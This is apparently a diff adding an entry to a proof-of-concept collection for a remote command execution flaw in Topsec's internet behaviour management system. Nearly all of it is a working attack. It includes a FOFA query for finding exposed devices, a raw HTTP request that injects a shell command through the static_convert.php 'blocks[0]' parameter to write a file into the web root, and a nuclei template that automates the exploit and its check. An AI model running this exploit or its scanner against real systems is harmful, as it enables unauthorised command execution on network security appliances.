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+## 天融信TOPSEC_static_convert远程命令执行漏洞
+
+## fofa
+```
+app="天融信-上网行为管理系统"
+```
+
+## poc
+```
+GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20%20echo%20'pstvamqlkzrgslfilwvf'%20>>%20/var/www/html/rrlmkkyopirhaviko.txt%0A HTTP/1.1
+Host: 192.168.40.130:8443
+User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
+
+```
+
+![46a8923aca7c87333e82efadd74cf08c](https://github.com/wy876/POC/assets/139549762/fed4855b-bedf-436b-ba41-9df02ee8ae6d)
+
+## nuclei
+```
+id: topsec-static_convert-rce
+
+info:
+  name: 天融信TOPSEC static_convert 远程命令执行漏洞
+  author: fgz
+  severity: critical
+  description: 天融信TOPSEC解决方案包括综合管理系统，各类安全产品如防火墙、VPN、安全网关、宽带管理、入侵检测、内容过滤、个人安全套件以及综合安全审计系统等多种安全功能。该系统static_convert.php接口处存在RCE漏洞，会导致服务器失陷。
+  metadata:
+    max-request: 1
+    fofa-query: app="天融信-上网行为管理系统"
+    verified: true
+variables:
+  file_name: "{{to_lower(rand_text_alpha(6))}}"
+  file_content: "{{to_lower(rand_text_alpha(15))}}"
+requests:
+  - raw:
+      - |+
+        GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20%20echo%20'{{file_content}}'%20>>%20/var/www/html/{{file_name}}.txt%0A HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
+
+      - |
+        GET /{{file_name}}.txt HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"
+```